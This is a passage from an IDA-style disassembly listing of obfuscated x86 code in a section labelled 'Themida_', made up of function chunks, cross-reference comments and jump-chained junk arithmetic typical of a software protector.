loc_551D5C:				; CODE XREF: Themida_:00559299j
		mov	esp, [esp]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_551D64:				; CODE XREF: Themida_:0055B4D4j
		push	edx
		jmp	loc_554D4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551D6A:				; CODE XREF: sub_55ABF6-7EA6j
		mov	eax, 3C452579h
		xor	ebp, eax
		pop	eax
		or	ebp, 3B0C0AAAh
		sub	ebp, 17A25478h
		shr	ebp, 4
		xor	ebp, 641C267h
		sub	ecx, 0BAF6DEBh
		add	ecx, ebp
		push	edi
		mov	edi, 0BAF6DEBh
		jmp	loc_55282A
; ---------------------------------------------------------------------------


loc_551D9A:				; CODE XREF: sub_55ABF6-87F1j
		pop	ecx
		push	[esp-6+arg_0+2]
		pop	ecx
		push	57F8h
		mov	[esp+0], eax
		push	esp
		jmp	loc_552504
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_551DAD:				; CODE XREF: sub_558326-4809j
		neg	ebx
		sub	ebx, 27ED485Fh
		sub	eax, ebx
		jmp	loc_554799
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_551DBC:				; CODE XREF: sub_554E9D+8919j
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_559C7D
; ---------------------------------------------------------------------------


loc_551DC5:				; CODE XREF: sub_554E9D+2DCFj
		add	esi, ebx
		add	esi, 462B58BBh
		pop	ebx
		xor	esi, [esp-8+arg_4]
		xor	[esp-8+arg_4], esi
		xor	esi, [esp-8+arg_4]
		pop	esp
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_551DDD:				; CODE XREF: Themida_:00553122j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55A69C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_552EA4
; ---------------------------------------------------------------------------


loc_551E13:				; CODE XREF: Themida_:005525DEj
		mov	ecx, esp
		jmp	loc_55A6E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55591C


loc_551E1A:				; CODE XREF: sub_55591C+391Bj
		add	ebx, 0E19FEEABh
		add	edx, ebx
		jmp	loc_55939D
; END OF FUNCTION CHUNK	FOR sub_55591C
; ---------------------------------------------------------------------------


loc_551E27:				; CODE XREF: Themida_:0055A102j
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55678F


loc_551E2C:				; CODE XREF: sub_55678F-3555j
		shr	ecx, 2
		add	ecx, 0CBAC470Fh
		add	ebp, ecx
		jmp	loc_553936
; END OF FUNCTION CHUNK	FOR sub_55678F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_551E3C:				; CODE XREF: sub_55C58B-87FBj
		sub	edx, ecx
		pop	ecx
		pop	ebp
		add	edx, ebx
		push	eax
		mov	eax, 12FB3F59h
		and	eax, 2BE64A3Dh
		jmp	loc_558C1C
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------


loc_551E52:				; CODE XREF: Themida_:0055A1C8j
		add	dword ptr [esp+4], 19071BB9h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55A3C6
; ---------------------------------------------------------------------------


loc_551E68:				; CODE XREF: Themida_:005539DAj
		mov	ebx, [esp]
		add	esp, 4
		mov	cl, ah
		jmp	loc_557BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_551E75:				; CODE XREF: sub_55A4DA-5F32j
		xor	edx, edi
		pop	edi
		add	edi, edx
		pop	edx
		add	edi, 4
		jmp	loc_55C53C
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_551E86:				; CODE XREF: sub_558326+2387j
		mov	eax, esp
		push	edi
		mov	edi, 3DBE02BDh
		sub	edi, 0DF43C96h
		xor	edi, 0F4949A4h
		xor	edi, 653772A7h
		xchg	edx, edi
		not	edx
		jmp	loc_557C0B
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_551EA9:				; CODE XREF: sub_557D5E+EF8j
		mov	ecx, 2F140F09h
		and	ecx, 55EA010Dh
		xor	ecx, 1EBC22CFh
		or	ecx, 7A6B2614h
		xor	ecx, 1B4713D2h
		push	edi
		mov	edi, 113F2CDCh
		sub	ecx, 288E643Ah
		add	ecx, edi
		jmp	loc_5554BD
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_551ED9:				; CODE XREF: sub_559977-3C0Aj
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_557FBA
; END OF FUNCTION CHUNK	FOR sub_559977

; =============== S U B	R O U T	I N E =======================================



sub_551EE6	proc near		; CODE XREF: sub_55163B+78D0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005559BB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559177 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0055A444 SIZE 0000000B BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_55A444
sub_551EE6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_551EEE:				; CODE XREF: sub_55A0D6-F31j
		add	esi, ecx
		sub	esi, 63472736h
		jmp	loc_55B77C
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------


loc_551EFB:				; CODE XREF: Themida_:00559699j
		add	esp, 4
		jmp	loc_559941
; ---------------------------------------------------------------------------


loc_551F06:				; CODE XREF: Themida_:005574E9j
		push	edx
		mov	dh, 0A4h
		neg	dh
		shl	dh, 3
		and	dh, 60h
		sub	dh, 73h
		or	cl, dh
		pop	edx
		sub	cl, 6
		add	bl, cl
		jmp	loc_55B401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_551F21:				; CODE XREF: sub_55C814-38B6j
		mov	esi, 7926361Eh
		sub	esi, 642459DEh
		xor	esi, 62DF4649h
		shr	esi, 5
		jmp	loc_553062
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_551F3A:				; CODE XREF: sub_552215+B3BEj
		pop	eax
		sub	eax, ecx
		pop	ecx
		push	5C0Ch
		mov	[esp+4+var_4], esi
		jmp	loc_553459
; END OF FUNCTION CHUNK	FOR sub_552215

; =============== S U B	R O U T	I N E =======================================



sub_551F4B	proc near		; DATA XREF: Themida_:0055122Co
		mov	esp, [esp+0]
		jmp	loc_5514E3
sub_551F4B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_551F53:				; CODE XREF: sub_55314C+57FEj
		push	edx
		sub	esp, 4
		jmp	loc_55762F
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_551F5C:				; CODE XREF: Themida_:00554602j
					; DATA XREF: Themida_:00551200o
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_552223
; ---------------------------------------------------------------------------


loc_551F70:				; CODE XREF: Themida_:0055D0A9j
		or	edi, ecx
		pop	ecx
		jmp	loc_55C4DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551F78:				; CODE XREF: sub_55ABF6-2F5Ej
		mov	eax, [esp+2+var_4+2]
		jmp	loc_55A15E
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_551F80	proc near		; CODE XREF: sub_55ABF6-46A4j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005523D1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00554648 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055813E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A2BC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055D14D SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	47Ah
		jmp	loc_5523D1
sub_551F80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_551F90:				; CODE XREF: Themida_:0055A2B7j
		pop	edi
		pop	esi
		jmp	loc_55BD08

; =============== S U B	R O U T	I N E =======================================



sub_551F97	proc near		; CODE XREF: sub_559977-19B7j

var_6		= dword	ptr -6
var_2		= word ptr -2
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055155E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00551775 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00551795 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553650 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00553CC5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005540C1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005545DC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00554A85 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00555217 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00555619 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00555D4B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00556809 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005569AE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00556F34 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557125 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00557304 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005575EE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055881D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055984D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055999B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00559E4B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055AEA0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055B7F6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B855 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055B96D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0055C2FB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C4A2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055C7FC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055D6F5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055DD20 SIZE 0000000B BYTES

		push	ebp
		neg	dword ptr [esp+0]
		pop	ebp
		not	ebp
		sub	ebp, 246B1959h
		jmp	loc_5575EE
sub_551F97	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_551FA9:				; CODE XREF: sub_556BCD-5522j
		mov	ah, 73h
		or	cl, ah
		jmp	loc_55CF5B
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_551FB2:				; CODE XREF: sub_554E9D+E15j
		mov	edx, [esp+0]
		add	esp, 4
		mov	[edi+20h], eax
		push	[esp-10h+arg_C]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]


loc_551FD4:				; CODE XREF: sub_552716+DA8j
					; sub_554E9D+1ADCj
		push	dword ptr [esp+0]
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		push	7902h
		mov	[esp-4+arg_0], edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_558790
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_551FF4:				; CODE XREF: Themida_:005581C3j
		push	edx
		mov	edx, 0C042525h
		xor	edx, 0C042521h
		sub	ebx, 4C044A9Ah
		add	ebx, edx
		add	ebx, 4C044A9Ah
		jmp	loc_5598EE
; ---------------------------------------------------------------------------


loc_552013:				; CODE XREF: Themida_:005519E2j
		mov	esi, ebx
		pop	ebx
		add	esi, eax
		pop	eax
		xor	ebx, esi
		pop	esi
		and	ebx, 19B3DD4h
		shr	ebx, 6
		push	edi
		mov	edi, 5F163BECh
		xor	ebx, edi
		pop	edi
		jmp	loc_5571CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_552033:				; CODE XREF: sub_55C58B+5j
		not	bh
		jmp	loc_55B912
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55203A:				; CODE XREF: sub_55CFFC-95BDj
		xor	eax, 0DB42E297h
		add	ecx, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		add	esi, 2
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		mov	ax, [esp+0]
		jmp	loc_55BCE8
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------


loc_55205D:				; CODE XREF: Themida_:0055A0D1j
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 1EF10F5Bh
		push	ecx
		mov	ecx, 5E856A23h
		mov	ebp, ecx
		pop	ecx
		xor	ebp, edx
		pop	edx
		jmp	loc_55563C
; ---------------------------------------------------------------------------


loc_552083:				; CODE XREF: Themida_:0055C620j
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		mov	ebp, 43487FD3h
		or	ebp, 3A61DE0h
		jmp	loc_554A11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DB1


loc_552099:				; CODE XREF: sub_572DB1-1F02Bj
		neg	dh
		jmp	loc_55394A
; END OF FUNCTION CHUNK	FOR sub_572DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_5520A0:				; CODE XREF: sub_55163B+C600j
		pop	ebx
		jmp	loc_5546B9
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5520A6:				; CODE XREF: sub_55CE17-1227j
		mov	ecx, 54AD749Eh
		mov	edx, 54AD749Fh
		xor	edx, ecx
		pop	ecx
		and	eax, edx
		push	dword ptr [esp+0]
		jmp	loc_554EF7
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_5520BD:				; CODE XREF: Themida_:0055BF11j
		add	al, dh
		pop	edx
		add	al, 0CFh
		sub	al, 92h
		sub	al, dl
		add	al, 92h
		sub	al, 0CFh
		jmp	loc_5517AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5520CF:				; CODE XREF: sub_55ABF6+1330j
		add	al, 0CFh
		mov	bl, al
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		add	al, bl
		mov	bx, [esp+0]
		add	esp, 2
		sub	al, 0AFh
		xor	al, 0DCh
		dec	al
		xor	al, 0F6h
		add	al, 23h
		xor	ch, al
		mov	eax, [esp-6+arg_0+2]
		jmp	loc_5540DD
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5520F6:				; CODE XREF: Themida_:00554E14j
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_551CAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_552103:				; CODE XREF: sub_55910B-4D6Ej
		mov	[esp-4+arg_0], ebx
		mov	bl, 46h
		add	dl, bl
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_55DCD4
; END OF FUNCTION CHUNK	FOR sub_55910B

; =============== S U B	R O U T	I N E =======================================



sub_552118	proc near		; CODE XREF: sub_552E8E+80C7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00554F3B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005559CF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005588F8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055C171 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055CC8C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055DA42 SIZE 00000011 BYTES

		push	ebx
		push	5891h
		mov	[esp+8+var_8], eax
		mov	eax, 1EFF3A0Eh
		sub	eax, 0E14DF2F8h
		mov	ebx, eax
		pop	eax
		shr	ebx, 1
		not	ebx
		push	2906h
		mov	[esp+8+var_8], edi
		mov	edi, 3AAC0F29h
		jmp	loc_5588F8
sub_552118	endp

; ---------------------------------------------------------------------------


loc_552144:				; CODE XREF: Themida_:005541B9j
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	eax, 599A4616h
		add	eax, ebx
		jmp	loc_557831
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_552166:				; CODE XREF: sub_556BCD+1435j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5519B7
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552174:				; CODE XREF: sub_55ABF6+1F6j
		or	cl, 13h
		jmp	loc_55D03B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A918


loc_55217C:				; CODE XREF: sub_55A918-558Aj
		add	cl, ah
		pop	eax
		jmp	loc_556FAC
; END OF FUNCTION CHUNK	FOR sub_55A918
; ---------------------------------------------------------------------------


loc_552184:				; CODE XREF: Themida_:005571CEj
		mov	esi, esp
		push	ecx
		mov	ecx, 7B440848h
		sub	ecx, 3A545547h
		and	ecx, 49B92AA6h
		sub	ecx, 13F04E4Fh
		not	ecx
		or	ecx, 1AE92710h
		sub	ecx, 0DBEF2F5Ah
		add	esi, 64216877h
		add	esi, ecx
		sub	esi, 64216877h
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_551AB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5521C9:				; CODE XREF: sub_559249-756Aj
		sub	esi, edi
		pop	edi
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 80000h
		jmp	loc_554AE7
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5521E5:				; CODE XREF: sub_55C814-1BCj
		mov	edi, 4
		jmp	loc_5525B3
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------


loc_5521EF:				; CODE XREF: Themida_:00556CCCj
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_553AB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5521FB:				; CODE XREF: sub_55CE17-28BEj
		mov	ecx, 2CE96FD1h
		jmp	loc_557F32
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_5514E3

; =============== S U B	R O U T	I N E =======================================



sub_552215	proc near		; CODE XREF: sub_55ABF6-2DF7j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055193C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00551F3A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552315 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005523AE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00552525 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00552675 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00552969 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00552BB9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055307D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553459 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005537DC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00554179 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554A9E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00555DE0 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00555EF1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055626B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00557614 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00557FC5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005582F9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005585A9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00558F10 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559BCE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00559F6B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055A121 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055A478 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055AB07 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055B34B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B5BC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055B9FB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BC31 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C144 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055C422 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055C90A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055D5C4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055DCB5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055DDE7 SIZE 0000000D BYTES

		push	ebx
		jmp	loc_55B5BC
sub_552215	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_55221B:				; CODE XREF: Themida_:0055379Dj
		add	bl, 0B6h
		jmp	loc_559AAC
; ---------------------------------------------------------------------------


loc_552223:				; CODE XREF: Themida_:00551F6Bj
		push	ebx
		mov	ebx, 361626A9h
		shl	ebx, 2
		push	ebp
		jmp	loc_5516C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_552232:				; CODE XREF: sub_5594EA-4873j
		sub	edi, 4
		jmp	loc_55CD1C
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------


loc_55223D:				; CODE XREF: Themida_:00553029j
		xor	esi, eax
		pop	eax
		dec	esi
		or	esi, 6886607Fh
		xor	esi, 468C2E08h
		or	eax, esi
		jmp	loc_5576F9
; ---------------------------------------------------------------------------


loc_552254:				; CODE XREF: Themida_:0055390Cj
		push	edx
		mov	dl, 0D7h
		inc	dl
		inc	dl
		add	dl, 33h
		and	bh, dl
		jmp	loc_5532F5
; ---------------------------------------------------------------------------


loc_552265:				; CODE XREF: Themida_:0055304Dj
		mov	[esp], ax
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55226E:				; CODE XREF: sub_5546E4-105Ej
		mov	edi, 53AB7ACBh
		and	edi, 21890A1Ah
		dec	edi
		jmp	loc_55B757
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557730


loc_55227F:				; CODE XREF: sub_557730+5j
		pop	ebx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		rol	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_557730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_55228F:				; CODE XREF: sub_55AABB+2005j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_556A17
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_5522A2:				; CODE XREF: sub_554592+7C94j
		push	edx
		mov	edx, 7BAE5644h
		xor	ebp, edx
		pop	edx
		push	esi
		mov	esi, 4CB84C0Ah
		xor	ebp, esi
		pop	esi
		sub	edi, 5D3E2076h
		sub	edi, ebp
		add	edi, 5D3E2076h
		pop	ebp
		add	edi, 84984103h
		sub	eax, 6BA86847h
		add	eax, edi
		push	ecx
		mov	ecx, 6BA86847h
		add	eax, ecx
		pop	ecx
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55915C
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------


loc_5522E7:				; CODE XREF: Themida_:005539E0j
		pop	dword ptr [esp]
		jmp	loc_556509
; ---------------------------------------------------------------------------


loc_5522EF:				; CODE XREF: Themida_:005568E1j
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		add	ebp, 4
		push	ecx
		jmp	loc_554C9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_552302:				; CODE XREF: sub_5523E1+5FE7j
		add	edx, 4
		jmp	loc_55C3DB
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5594EA


loc_55230D:				; CODE XREF: sub_5594EA+3j
		mov	[esp+4+var_4], edi
		jmp	loc_55B6BF
; END OF FUNCTION CHUNK	FOR sub_5594EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_552315:				; CODE XREF: sub_552215+E6Bj
		not	esi
		push	ebp
		mov	ebp, 25F70CB4h
		sub	ebp, 368D5D15h
		shl	ebp, 2
		sub	ebp, 7114AC34h
		jmp	loc_55C422
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_552331:				; CODE XREF: sub_55A4DA-31Fj
		mov	ecx, edx
		pop	edx
		mov	edx, ecx
		jmp	loc_553633
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55233B:				; CODE XREF: sub_55ABF6-E34j
		xor	ebp, 0B36F052h
		add	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 45D842FFh
		xor	eax, esi
		jmp	loc_55ADBA
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_552351:				; CODE XREF: Themida_:0055737Cj
		add	eax, 68AF431Dh
		add	eax, 3DE7825Ah
		jmp	loc_55BD8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552360:				; CODE XREF: sub_55ABF6-65FAj
		push	542h
		mov	[esp+0], eax
		push	1E7831CFh
		pop	eax
		push	0
		sub	[esp+2+var_4+2], eax
		pop	eax
		sub	eax, 979B6CC5h
		mov	ecx, eax
		mov	eax, [esp+0]
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		push	eax
		mov	eax, 75C87121h
		push	edx
		mov	edx, 64685623h
		sub	edx, 75437C7h
		add	edx, 4E253434h
		not	edx
		dec	edx
		jmp	loc_5596BB
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_5523A7:				; CODE XREF: sub_55AE3A-2B94j
		xor	ch, bh
		jmp	loc_556E08
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_5523AE:				; CODE XREF: sub_552215+BBDAj
		mov	edi, 66856482h
		jmp	loc_552675
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_5523B8:				; CODE XREF: Themida_:0055BB95j
		push	4A4Ch
		mov	[esp], ebp
		push	esp
		jmp	loc_556B6D

; =============== S U B	R O U T	I N E =======================================



sub_5523C6	proc near		; CODE XREF: sub_558326+325Aj

; FUNCTION CHUNK AT 0055A3FE SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 131C095Ch
		jmp	loc_55A3FE
sub_5523C6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F80


loc_5523D1:				; CODE XREF: sub_551F80+Bj
		mov	[esp+8+var_8], edx
		push	3C95h
		mov	[esp+0Ch+var_C], esi
		jmp	loc_55D14D
; END OF FUNCTION CHUNK	FOR sub_551F80

; =============== S U B	R O U T	I N E =======================================



